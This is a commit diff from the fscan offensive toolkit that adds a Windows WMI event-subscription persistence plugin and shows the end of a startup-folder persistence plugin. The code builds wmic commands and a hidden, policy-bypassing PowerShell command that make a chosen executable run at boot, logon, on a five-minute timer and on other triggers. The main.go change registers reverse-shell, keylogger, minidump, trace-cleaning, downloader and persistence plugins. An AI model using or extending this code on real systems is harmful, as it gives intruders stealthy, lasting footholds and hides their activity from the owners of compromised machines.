batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt))
batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath)
startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd))
return startupMethods, nil
}
// isValidPEFile 检查是否为有效的PE文件
func (p *WinStartupPlugin) isValidPEFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
return ext == ".exe" || ext == ".dll"
}
// RegisterWinStartupPlugin 注册Windows启动文件夹持久化插件
func RegisterWinStartupPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "winstartup",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows启动文件夹持久化插件通过启动文件夹和快捷方式实现持久化",
Category: "local",
Tags: []string{"winstartup", "local", "persistence", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewWinStartupPlugin()
},
)
base.GlobalPluginRegistry.Register("winstartup", factory)
}
// init 插件注册函数
func init() {
RegisterWinStartupPlugin()
}

View File

@ -0,0 +1,255 @@
package winwmi
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// WinWMIPlugin Windows WMI事件订阅持久化插件 - 使用简化架构
type WinWMIPlugin struct {
*local.BaseLocalPlugin
pePath string
}
// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 - 简化版本
func NewWinWMIPlugin() *WinWMIPlugin {
// 从全局参数获取PE文件路径
peFile := common.WinPEFile
if peFile == "" {
peFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "winwmi",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows WMI事件订阅持久化插件通过WMI事件触发器实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "windows", "wmi"},
Protocols: []string{"local"},
}
plugin := &WinWMIPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
pePath: peFile,
}
// 只支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限修改WMI订阅
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *WinWMIPlugin) Initialize() error {
if p.pePath == "" {
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
return fmt.Errorf("PE文件不存在: %s", p.pePath)
}
// 检查文件类型
if !p.isValidPEFile(p.pePath) {
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行Windows WMI事件订阅持久化 - 简化版本
func (p *WinWMIPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始Windows WMI事件订阅持久化...")
wmiSubscriptions, err := p.createWMIEventSubscriptions(p.pePath)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
common.LogInfo(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:", len(wmiSubscriptions)))
for i, subscription := range wmiSubscriptions {
common.LogInfo(fmt.Sprintf("%d. %s", i+1, subscription))
}
result := &base.ScanResult{
Success: true,
Service: "WinWMI",
Banner: fmt.Sprintf("Windows WMI事件订阅持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
Extra: map[string]interface{}{
"pe_file": p.pePath,
"persistence_type": "wmi_event",
"subscriptions_created": len(wmiSubscriptions),
"wmi_subscriptions": wmiSubscriptions,
},
}
return result, nil
}
func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) {
absPath, err := filepath.Abs(pePath)
if err != nil {
return nil, fmt.Errorf("failed to get absolute path: %v", err)
}
var wmiSubscriptions []string
baseName := filepath.Base(absPath)
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
wmiEventConfigs := []struct {
filterName string
consumerName string
bindingName string
query string
description string
}{
{
filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt),
consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt),
bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt),
query: "SELECT * FROM Win32_SystemConfigurationChangeEvent",
description: "System Boot Event Trigger",
},
{
filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt),
consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt),
bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt),
query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'",
description: "Explorer Process Start Trigger",
},
{
filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt),
consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt),
bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt),
query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2",
description: "User Logon Event Trigger",
},
{
filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt),
consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt),
bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt),
query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'",
description: "File Creation Monitor Trigger",
},
{
filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt),
consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt),
bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt),
query: "SELECT * FROM Win32_ServiceControlEvent",
description: "Service State Change Trigger",
},
}
for _, config := range wmiEventConfigs {
filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
config.filterName, config.query)
consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
config.consumerName, absPath, absPath)
bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
config.filterName, config.consumerName)
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd))
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd))
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd))
}
timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt)
timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt)
// timerBindingName := fmt.Sprintf("TimerBinding_%s", baseNameNoExt) // 不需要,移除未使用的变量
timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
timerFilterName, timerQuery)
timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
timerConsumerName, absPath, absPath)
timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
timerFilterName, timerConsumerName)
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd))
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd))
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd))
powershellWMIScript := fmt.Sprintf(`
$filterName = "PowerShellFilter_%s"
$consumerName = "PowerShellConsumer_%s"
$bindingName = "PowerShellBinding_%s"
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = $filterName
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = $consumerName
CommandLineTemplate = '"%s"'
ExecutablePath = "%s"
}
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath)
powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript)
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd))
return wmiSubscriptions, nil
}
// isValidPEFile 检查是否为有效的PE文件
func (p *WinWMIPlugin) isValidPEFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
return ext == ".exe" || ext == ".dll"
}
// RegisterWinWMIPlugin 注册Windows WMI事件订阅持久化插件
func RegisterWinWMIPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "winwmi",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows WMI事件订阅持久化插件通过WMI事件触发器实现持久化",
Category: "local",
Tags: []string{"winwmi", "local", "persistence", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewWinWMIPlugin()
},
)
base.GlobalPluginRegistry.Register("winwmi", factory)
}
// init 插件注册函数
func init() {
RegisterWinWMIPlugin()
}

2
go.mod
View File

@ -17,6 +17,7 @@ require (
github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed
github.com/neo4j/neo4j-go-driver/v4 v4.4.7 github.com/neo4j/neo4j-go-driver/v4 v4.4.7
github.com/rabbitmq/amqp091-go v1.10.0 github.com/rabbitmq/amqp091-go v1.10.0
github.com/robotn/gohook v0.42.2
github.com/satori/go.uuid v1.2.0 github.com/satori/go.uuid v1.2.0
github.com/schollz/progressbar/v3 v3.13.1 github.com/schollz/progressbar/v3 v3.13.1
github.com/sijms/go-ora/v2 v2.5.29 github.com/sijms/go-ora/v2 v2.5.29
@ -71,6 +72,7 @@ require (
github.com/rivo/uniseg v0.4.7 // indirect github.com/rivo/uniseg v0.4.7 // indirect
github.com/rogpeppe/go-internal v1.13.1 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect
github.com/stoewer/go-strcase v1.2.0 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect
github.com/vcaesar/keycode v0.10.1 // indirect
golang.org/x/term v0.27.0 // indirect golang.org/x/term v0.27.0 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/inf.v0 v0.9.1 // indirect
) )

5
go.sum
View File

@ -293,6 +293,8 @@ github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqn
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY=
github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
@ -344,6 +346,9 @@ github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsT
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0= github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0=
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg=
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=

31
main.go
View File

@ -6,6 +6,35 @@ import (
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/core" "github.com/shadow1ng/fscan/core"
// 引入本地插件以触发注册
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/minidump" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
_ "github.com/shadow1ng/fscan/plugins/local/forwardshell" // 新增,可用
// Linux持久化插件
_ "github.com/shadow1ng/fscan/plugins/local/ldpreload" // Linux LD_PRELOAD持久化
_ "github.com/shadow1ng/fscan/plugins/local/shellenv" // Linux Shell环境变量持久化
_ "github.com/shadow1ng/fscan/plugins/local/crontask" // Linux Cron计划任务持久化
_ "github.com/shadow1ng/fscan/plugins/local/systemdservice" // Linux Systemd服务持久化
// Windows持久化插件
_ "github.com/shadow1ng/fscan/plugins/local/winregistry" // Windows 注册表持久化
_ "github.com/shadow1ng/fscan/plugins/local/winstartup" // Windows 启动文件夹持久化
_ "github.com/shadow1ng/fscan/plugins/local/winschtask" // Windows 计划任务持久化
_ "github.com/shadow1ng/fscan/plugins/local/winservice" // Windows 服务持久化
_ "github.com/shadow1ng/fscan/plugins/local/winwmi" // Windows WMI事件订阅持久化
// 监控插件
_ "github.com/shadow1ng/fscan/plugins/local/keylogger" // 跨平台键盘记录
// 实用工具插件
_ "github.com/shadow1ng/fscan/plugins/local/downloader" // 跨平台文件下载
_ "github.com/shadow1ng/fscan/plugins/local/cleaner" // 跨平台系统痕迹清理
) )
func main() { func main() {
@ -28,5 +57,5 @@ func main() {
defer common.CloseOutput() defer common.CloseOutput()
// 执行 CLI 扫描逻辑 // 执行 CLI 扫描逻辑
core.Scan(Info) core.RunScan(Info)
} }